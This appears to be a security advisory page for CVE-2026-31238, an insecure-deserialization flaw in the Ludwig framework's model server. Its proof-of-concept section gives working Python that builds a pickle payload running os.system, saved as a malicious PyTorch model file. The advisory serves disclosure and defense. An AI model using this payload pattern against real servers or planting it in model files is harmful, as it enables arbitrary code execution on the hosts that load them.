Security Vulnerability Report
中文
CVE-2026-31238 CVSS 9.8 CRITICAL

CVE-2026-31238

Published: 2026-05-12 18:16:52
Last Modified: 2026-05-14 20:17:03

Description

The Ludwig framework thru 0.10.4 is vulnerable to insecure deserialization (CWE-502) in its model serving component. When starting a model server with the ludwig serve command, the framework loads model weight files using torch.load() without enabling the security-restrictive weights_only=True parameter. This default behavior allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing a maliciously crafted PyTorch model file, leading to arbitrary code execution on the system hosting the Ludwig model server.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Ludwig <= 0.10.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import os import torch # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # Execute a shell command (e.g., create a file or reverse shell) return (os.system, ('touch /tmp/pwned',)) # Create an instance of the malicious class payload = MaliciousPayload() # Serialize the payload and save it as a PyTorch model file # This simulates a malicious model file that an attacker would upload with open('malicious_model.pt', 'wb') as f: pickle.dump(payload, f) print("Malicious PyTorch model 'malicious_model.pt' generated successfully.") # When the victim loads this file using torch.load() without weights_only=True, # the command 'touch /tmp/pwned' will be executed on the server.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31238", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:52.210", "lastModified": "2026-05-14T20:17:03.430", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ludwig framework thru 0.10.4 is vulnerable to insecure deserialization (CWE-502) in its model serving component. When starting a model server with the ludwig serve command, the framework loads model weight files using torch.load() without enabling the security-restrictive weights_only=True parameter. This default behavior allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing a maliciously crafted PyTorch model file, leading to arbitrary code execution on the system hosting the Ludwig model server."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/ludwig-ai/ludwig", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31238-35d1e1393188819ea77ee98ca85a2878", "source": "[email protected]"}]}}